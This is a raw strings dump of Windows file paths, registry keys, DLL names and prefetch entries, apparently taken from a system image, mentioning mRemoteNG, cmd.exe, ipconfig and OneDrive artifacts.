MSEDGEWEBVIEW2.EXE-CEE40453.pf \Device\HarddiskVolume3\Windows\Fonts\segoeuib.ttf \Windows\System32\conhost.exe orpo v4.0_4.0.0.0__b03f5f7f11d50a3a \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage \Device\HarddiskVolume3\Windows\System32\conhost.exe \Device\HarddiskVolume3\Windows\System32\conhost.exe \Windows\Prefetch\RUNTIMEBROKER.EXE-3E0B5307.pf \Windows\System32\kernel32.dll MSEDGEWEBVIEW2.EXE-CEE40449.pf \Device\HarddiskVolume3\Windows\System32\conhost.exe \Users\Public\Desktop\mRemoteNG.lnk \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager \Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\sysmain.dll WINDOWS\SYSTEM32\KERNELBASE.DLL WINDOWS\SYSTEM32\CONHOST.EXE WINDOWS\SYSTEM32\EN-US\CONHOST.EXE.MUI \Windows\System32\conhost.exe WINDOWS\SYSTEM32\KERNEL32.DLL WINDOWS\REGISTRATION\R000000000006.CLB \Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll WINDOWS\SYSTEM32\MSVCP_WIN.DLL \REGISTRY\MACHINE\SOFTWA v4.0_4.0.0.0__b77a5c561934e089 WINDOWS\SYSTEM32\UCRTBASE.DLL WINDOWS\SYSTEM32\EN-US\USER32.DLL.MUI \Windows\System32\KernelBase.dllWi .dll WINDOWS\SYSTEM32\KERNEL.APPCORE.DLL WINDOWS\SYSTEM32\GDI32FULL.DLL WINDOWS\SYSTEM32\COMBASE.DLL \REGISTRY\MACHINE\SOFTWA System.Xml.Linq.ni.dll.auxnas WINDOWS\SYSTEM32\CLBCATQ.DLL WINDOWS\SYSTEM32\SECHOST.DLL WINDOWS\SYSTEM32\ADVAPI32.DLL \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage WINDOWS\SYSTEM32\UXTHEME.DLL \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager WINDOWS\SYSTEM32\BCRYPTPRIMITIVES.DLL \Windows\System32\kernel32.dllolSe \REGISTRY\MACHINE\SOFTWA System.Runtime.Serializations \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Option WINDOWS\SYSTEM32\OLEAUT32.DLL WINDOWS\SYSTEM32\TEXTINPUTFRAMEWORK.DLL \Windows\System32\backgroundTaskHost.exe \Windows\System32\KernelBase.dll \Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linqas WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS \Windows\System32\kernel32.dll \Users\job\AppData\Local\Microsoft\OneDrive\Resources.pri \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager \Windows\System32\msvcp_win.dll \Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\SysWOW64\uxtheme.dll \Users\job\AppData\Roaming\mRemoteNG\Themes\darcula.vstheme \Windows\System32\sechost.dll \Windows\System32\en-US\crypt32.dll.mui \Windows\Registration\R000000000006.clb \Windows\System32\sechost.dll \Windows\System32\win32u.dll TerminalServices-RemoteConnectionManager-AllowAppServerMode \Windows\System32\rpcrt4.dll CaretTrackingUpdateIPHidden ProgrammabilityCaretVisibility \Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\Fonts\segoeui.ttf \Windows\System32\ucrtbase.dll \Windows\System32\gdi32full.dll \Windows\System32\ucrtbase.dll3\Windows\System32\BCP47Langs.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Srp\GP\DLL \Device\HarddiskVolume3\Windows\SysWOW64\shell32.dll \Windows\Registration\R000000000006.clb \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\FileSystem Language Switch Notification \Windows\System32\advapi32.dll \Windows\System32\msvcp_win.dllround.SystemEventsBroker.dll \Windows\System32\gdi32full.dll \Windows\System32\msvcrt.dll TerminalServices-RemoteConnectionManager-AllowAppServerMode \Program Files (x86)\mRemoteNG\Icons\mRemoteNG.ico \Windows\System32\en-US\Conhost.exe.mui \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Option \Windows\SystemResources\cmd.exe.mun \Device\HarddiskVolume3\Windows\System32\cmd.exe \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Sorting\Ids _1000. 2txyewy \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Srp\GP\DLL \Windows\System32\en-US\cmd.exe.mui \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager TerminalServices-RemoteConnectionManager-AllowAppServerMode olSe s\Sy \Windows\System32\ucrtbase.dll \Users\job\AppData\Local\Microsoft\Windows\INetCache\IE\VW1VO8WL .dll \Program Files (x86)\mRemoteNG\MagicLibrary.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager \Program Files (x86)\mRemoteNG\mRemoteNG.exe \Windows\System32\ucrtbase.dll.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\FileSystem TerminalServices-RemoteConnectionManager-AllowAppServerMode \Windows\System32\SHCore.dll \Windows\Globalization\Sorting\SortDefault.nls xy.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale xy.dll \Windows\SysWOW64\en-US\user32.dll.mui \Windows\System32\SystemResources\cmd.exe.mui.mun \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale System32 \Device\HarddiskVolume3\Windows\System32\cmdext.dll \Device\HarddiskVolume3\Windows\SysWOW64\ole32.dll \Program Files\VMware\VMware Tools\ \Windows\System32\appidapi.dll \Windows\System32\appidapi.dll \Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\System32\appidapi.dll \Windows\System32\cmdext.dll \Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\edputil.dll \Windows\System32\cmdext.dll \Windows\System32\appidapi.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Codepage \Program Files (x86)\mRemoteNG\mRemoteNG.exe.config \Windows\System32\cmdext.dll \Windows\System32\rpcrt4.dll \Windows\System32\sechost.dll \Windows\SysWOW64\en-US\user32.dll.mui "C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe" \Windows\System32\cmdext.dll \Device\HarddiskVolume3\Windows\System32\iertutil.dll \Windows\System32\msvcrt.dll \Windows\System32\advapi32.dll \Windows\System32\appidapi.dll \Windows\System32\en-US\KernelBase.dll.mui \Windows\System32\sechost.dll ClipboardDataObjectInterface \Device\HarddiskVolume3\Windows\System32\cmdext.dll ClipboardRootDataObjectInterface inalServices-RemoteConnectio _0000000000000000.cdf-msde \Windows\System32\combase.dll \Windows\System32\appidapi.dll \Windows\System32\appidapi.dll \Device\HarddiskVolume3\Windows\System32\srvcli.dll \Windows\System32\srpapi.dll \Windows\System32\drivers\http.sys CanIncludeInClipboardHistory \Device\HarddiskVolume3\Windows\SysWOW64\userenv.dll \Device\HarddiskVolume3\Windows\SysWOW64\profapi.dll \Windows\System32\appidapi.dll \Device\HarddiskVolume3\Windows\System32\srpapi.dll \Windows\System32\appidapi.dll \Program Files (x86)\mRemoteNG\log4net.dll \Windows\System32\appidapi.dll \Device\HarddiskVolume3\Windows\System32\netutils.dll \Windows\System32\appidapi.dll \Windows\System32\appidapi.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager \Windows\System32\SHCore.dll \Windows\System32\drivers\winnat.sys \Windows\System32\srpapi.dll ClipboardHistoryDataFormats \Windows\System32\combase.dll \Windows\System32\appidapi.dll \Device\HarddiskVolume3\Windows\System32\edputil.dll \Windows\System32\appidapi.dll \Windows\System32\appidapi.dll \Windows\System32\appidapi.dll \Device\HarddiskVolume3\Windows\System32\srpapi.dll \Device\HarddiskVolume3\Windows\SysWOW64\amsi.dll \Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\winsta.dll \Windows\WinSxS\FileMaps\_0000000000000000.cdf-ms \Windows\System32\crypt32.dll \Windows\System32\srpapi.dll \Windows\System32\srpapi.dll \Windows\System32\sfc_os.dll \Windows\System32\appidapi.dll \Device\HarddiskVolume3\Windows\System32\bcrypt.dll iners \Device\HarddiskVolume3\Windows\apppatch\pcamain.sdb \Windows\System32\drivers\dxgmms2.sys \Device\HarddiskVolume3\Windows\Fonts\segoeuib.ttf \Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log \Windows\System32\bcryptprimitives.dll \Windows\System32\bcryptprimitives.dll \Windows\System32\bcrypt.dll \Windows\System32\en-US\windows.storage.dll.mui \Windows\System32\bcrypt.dll \Windows\System32\wbem\WinMgmtR.dll \Windows\apppatch\pcamain.sdb \Windows\System32\win32u.dll \Users\job\AppData\Roaming\mRemoteNG\extApps.xml \Device\HarddiskVolume3\Windows\System32\userenv.dll \Device\HarddiskVolume3\Windows\apppatch\pcamain.sdb \Windows\System32\bcrypt.dll \Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\ole32.dll \Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\Fonts\segoeuib.ttf \Windows\System32\WindowsPowerShell\v1.0\PSEvents.dll \Windows\System32\bcrypt.dll \Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\SysWOW64\version.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Option \Device\HarddiskVolume3\Windows\System32\wldp.dll inalServices-RemoteConnectio v4.0_4.0.0.0__b03f5f7f11d50a3a \Windows\appcompat\pca\PcaAppLaunchDic.txt \Device\HarddiskVolume3\Windows\System32\dwm.exe \Windows\Prefetch\MREMOTENG.EXE-610BBBDA.pf \Windows\System32\en-US\cmd.exe.mui \Device\HarddiskVolume3\Windows\System32\dwm.exe \Device\HarddiskVolume3\Windows\System32\dwm.exe \Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management \Device\HarddiskVolume3\Windows\System32\propsys.dll \Windows\System32\AppLocker\plugin.0.Policy \Windows\System32\msvcp_win.dll \Windows\System32\en-US\cmd.exe.mui \Device\HarddiskVolume3\Windows\System32\dwm.exe \Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\wldp.dll \Windows\SysWOW64\wbem\wmiutils.dll \Device\HarddiskVolume3\Windows\System32\dwm.exe \Program Files (x86)\mRemoteNG\BouncyCastle.Crypto.dll \Device\HarddiskVolume3\Windows\System32\dwm.exe \Device\HarddiskVolume3\Windows\System32\dwm.exe \Program Files\VMware\VMware Tools\suspend-vm-default.bat \Device\HarddiskVolume3\Windows\System32\BCP47Langs.dll \Windows\System32\rdpcorets.dll \Windows\System32\AppLocker\SCRIPT.AppLocker \Windows\System32\gdi32full.dll \Program Files\VMware\VMware Tools\suspend-vm-default.bat \Device\HarddiskVolume3\Windows\System32\dwm.exe \Program Files\VMware\VMware Tools\suspend-vm-default.bat \Windows\SysWOW64\wbem\wbemprox.dll \Device\HarddiskVolume3\Windows\System32\ipconfig.exe \Program Files\VMware\VMware Tools\suspend-vm-default.bat \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Windows\SysWOW64\wbem\en-US\wmiutils.dll.mui \Windows\System32\en-US\KernelBase.dll.mui \Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb \Windows\SysWOW64\wbem\stdprov.dll \Device\HarddiskVolume3\Windows\System32\ipconfig.exe \Windows\apppatch\sysmain.sdb \Windows\Globalization\Sorting\SortDefault.nls \Windows\SysWOW64\wbem\esscli.dll \Windows\System32\ipconfig.exe \Windows\System32\ipconfig.exe \Windows\System32\en-US\propsys.dll.mui rs\job\AppData\Local\Microso NativeImages_v4.0.30319_32 \Windows\System32\drivers\srv2.sys \Windows\System32\ipconfig.exe \Program Files\VMware\VMware Tools\suspend-vm-default.bat ipconfig.exeL \Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb \Windows\System32\bcrypt.dll \Program Files\VMware\VMware Tools\suspend-vm-default.bat \Windows\SysWOW64\wbemcomn.dll inalServices-RemoteConnectio vcruntime140_clr0400.dllde \Device\HarddiskVolume3\Windows\System32\ipconfig.exe \Windows\System32\ReFsDedupSvc.exe \Windows\apppatch\sysmain.sdb \Windows\apppatch\sysmain.sdb \Windows\apppatch\sysmain.sdb ipconfig.exeL \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Sorting\Ids \Windows\System32\en-US\rdpcorets.dll.mui logUploaderSettings_temp.ini \Device\HarddiskVolume3\Windows\System32\ipconfig.exe \Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb WINDOWS\SYSTEM32\IPHLPAPI.DLL WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS \Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb WINDOWS\SYSTEM32\SECHOST.DLL \Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms WINDOWS\SYSTEM32\WIN32KBASE.SYS \Windows\Prefetch\IPCONFIG.EXE-BFEC2AD0.pf rs\job\AppData\Local\Microso System.Configuration.ni.dll.aux \Windows\System32\ipconfig.exe \Windows\System32\ipconfig.exe.Config \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager \Windows\System32\en-US\netlogon.dll.mui WINDOWS\SYSTEM32\DHCPCSVC.DLL onal\ v4.0_4.0.0.0__b77a5c561934e089z \Windows\System32\LogFiles\CloudFiles\CldFlt3.etl inalServices-RemoteConnectio System.Windows.Forms.dllde WINDOWS\SYSTEM32\EN-US\IPCONFIG.EXE.MUI WINDOWS\SYSTEM32\KERNELBASE.DLL inalServices-RemoteConnectio v4.0_4.0.0.0__b03f5f7f11d50a3a CldFlt0-2026-02-24-080700.etlgz \Windows\SysWOW64\wbem\wbemsvc.dll WINDOWS\SYSTEM32\KERNEL32.DLL WINDOWS\SYSTEM32\UCRTBASE.DLL \Windows\System32\en-US\ipconfig.exe.mui \Windows\System32\en-US\ipconfig.exe.mui WINDOWS\SYSTEM32\IPCONFIG.EXE \Windows\System32\ipconfig.exe \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage inalServices-RemoteConnectio System.Configuration.ni.dll v4.0_4.0.0.0__b03f5f7f11d50a3a CldFlt3-2026-02-24-080700.etlgz \Program Files (x86)\mRemoteNG\WeifenLuo.WinFormsUI.Docking.dll WINDOWS\SYSTEM32\DHCPCSVC6.DLL \Windows\System32\KernelBase.dll \Windows\System32\KernelBase.dll \Windows\System32\kernel32.dll \Windows\SysWOW64\wbem\fastprox.dll \Windows\System32\kernel32.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Srp\GP\DLL \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\FileSystem \Windows\System32\drivers\USBXHCI.SYS \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Option \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager \Windows\System32\msvcrt.dll \Windows\System32\dhcpcsvc.dll \Windows\System32\rpcrt4.dll \Windows\System32\dnsapi.dll \Windows\System32\dhcpcsvc.dll \Windows\System32\IPHLPAPI.DLL \Windows\System32\IPHLPAPI.DLL \Device\HarddiskVolume3\Windows\SysWOW64\wtdccm.dll \Windows\System32\ucrtbase.dllmmonProxyStub.dll \Device\HarddiskVolume3\Windows\System32\IPHLPAPI.DLL 1H2TXYEWY \Windows\System32\dhcpcsvc.dllmmonProxyStub.dllService.dll \Windows\SysWOW64\wtdccm.dll \Windows\System32\dhcpcsvc6.dll \Windows\System32\ws2_32.dll \Windows\System32\dhcpcsvc6.dll \Windows\System32\drivers\ndis.sys \Device\HarddiskVolume3\Windows\System32\dhcpcsvc.dll \Device\HarddiskVolume3\Windows\System32\dhcpcsvc6.dll H2TXYEWY \Device\HarddiskVolume3\Windows\System32\dhcpcsvc6.dll \Program Files (x86)\mRemoteNG\ \Device\HarddiskVolume3\Windows\System32\IPHLPAPI.DLL \Windows\System32\dhcpcsvc.dll \Windows\System32\dhcpcsvc.dll \Windows\System32\IPHLPAPI.DLL \Device\HarddiskVolume3\Windows\System32\dnsapi.dll \Windows\System32\dnsapi.dll \Device\HarddiskVolume3\Windows\System32\srvcli.dll \Device\HarddiskVolume3\Windows\System32\dnsapi.dll \Windows\System32\IPHLPAPI.DLL \Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\iertutil.dll \Device\HarddiskVolume3\Windows\System32\dhcpcsvc.dll \Windows\System32\dhcpcsvc6.dll \Windows\SysWOW64\mscoree.dll \Windows\System32\Windows.UI.Xaml.Resources.19h1.dll \Windows\System32\IPHLPAPI.DLL TerminalServices-RemoteConnectionManager-AllowAppServerMode the-real-index~RF1362e.TMP \Windows\Globalization\Sorting\SortDefault.nls \Windows\System32\taskhostw.exe Microsoft.ReactNative.dll \Windows\System32\taskschd.dll \Device\HarddiskVolume3\Windows\System32\sppsvc.exe \Windows\System32\en-US\ipconfig.exe.mui \Windows\Prefetch\TASKHOSTW.EXE-2E5D4B75.pf \Device\HarddiskVolume3\Windows\System32\taskhostw.exe \Windows\System32\dhcpcsvc6.dllRepositoryPS.dll \Windows\System32\sechost.dll.Http TerminalServices-RemoteConnectionManager-AllowAppServerMode \Windows\System32\dhcpcsvc.dll \Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll \Windows\System32\keepaliveprovider.dll \Windows\System32\en-US\sppc.dll.mui \Device\HarddiskVolume3\Windows\System32\sppc.dll \Device\HarddiskVolume3\Windows\System32\sppc.dll \Device\HarddiskVolume3\Windows\System32\sppsvc.exe \Windows\System32\dhcpcsvc6.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager \Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\dpapi.dll \Device\HarddiskVolume3\Windows\System32\taskhostw.exe \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale \Device\HarddiskVolume3\Windows\System32\vaultcli.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Codepage \Windows\System32\dhcpcsvc6.dll \Windows\System32\sppsvc.exe \Device\HarddiskVolume3\Windows\System32\sppc.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Windows\System32\dnsapi.dll rs\job\AppData\Local\Package SoftwareProtectionPlatform \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Sorting\Ids \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Windows\System32\advapi32res.dll \Windows\System32\sspicli.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TcpIp\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NetBT\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TcpIp\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Device\HarddiskVolume3\Windows\System32\cryptbase.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NetBT\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NetBT\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Windows\System32\drivers\mrxsmb.sys \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NetBT\Parameters windows_webcache_counters_{00000000-5d8e-4eed-b3fa-e30684411323} \Windows\System32\dhcpcsvc6.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Windows\System32\RuntimeBroker.exe \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll \Windows\SystemResources\wininet.dll.mun \Windows\System32\wecsvc.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TcpIp\Parameters SEGOE UI Segoe UI SEGOE UI Segoe UI SEGOE UI Segoe UI log4net.dll wbemcomn.dll SEGOE UI Segoe UI Accessibility \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\c07dbfc3c6b4ad434eee98ecd8287f5b\System.Configuration.ni.dll TextShaping.dll OCSI.db \Device\HarddiskVolume3\Windows\System32\InputHost.dll \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7705_none_85b39051f7b2640a\comctl32.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll 63}\0000 s\System32\wshqos.dll \Device\HarddiskVolume3\Windows\Prefetch\FILECOAUTH.EXE-F2EB91B6.pf SvcRestartTask e\HarddiskVolume \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.IrisService.AppX0rx4escc2mj6hvn679j52gzahqw4y7qg.mca s\Prefetch\IPCONFIG.EXE-BFEC2AD0.pf \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy\machine.pckgdep 9-918772286-1001.pckgdep \Device\HarddiskVolume3\Windows\SysWOW64\wbem\WmiPrvSE.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat 89805-4071901059-918772286-1001 S-1-15-2-350187224-1905355452-1037786396-3028148496-2624191407-3283318427-1255436723 VCREDIST_X64.EXE-A52B6D54.pf \Device\HarddiskVolume3\Windows\SysWOW64\urlmon.dll \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.WidgetPicker.AppXme9jsfr3pxs55ey7ednb42gr4y3kyrpr.mca \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.UI.Xaml.winmd taskhostw t\OneDrive\logs\Common\FileCoAuth-2026-02-24.0806.8008.1.aodl Common general.keystore \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\index-dir the-real-index \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\telemetry-dll-ramp-value.txt \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index-dir\temp-index \Registry\Machine\System\CurrentControlSet\Control\Video\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0000 \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll WofCompressedData fest \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\ContentDeliveryManager.Background.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll.aux \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll.aux ompressedData en-US \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_b6a09a6f5242f736\GdiPlus.dll ctl32.dll t\OneDrive\settings\PreSignInSettingsConfig.json \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.26100.7309_none_cf9c45068ea8c077\comctl32.dll \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.26100.7309_none_cf9c45068ea8c077\comctl32.dll \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.RulesEngine.AppXfg8m4g1sed4hejywgfgeha3dmkg0j4ck.wwa s\System32\LogFiles\CloudFiles\CldFlt0.etl 026-02-24.0806.8008.1.aodl index.txt.tmp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\index-dir\the-real-index Cache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 \Device\HarddiskVolume3\Windows\System32\MicrosoftAccountWAMExtension.dll WindowsCodecs.dll \Device\HarddiskVolume3\Windows\System32\BCP47Langs.dll ccountWAMExtension s\System32\dsreg.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Reporting and NEL-journal \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\c07dbfc3c6b4ad434eee98ecd8287f5b\System.Configuration.ni.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\LogFiles\CloudFiles\CldFlt3.etl \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Reporting and NEL-journal ndex~RF1362e.TMP WINDOW~1.JSO C2B8 \Device\HarddiskVolume3\Windows\Prefetch\ONEDRIVE.EXE-0E8FA8E9.pf Wpc.dll \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_b6a09a6f5242f736\GdiPlus.dll 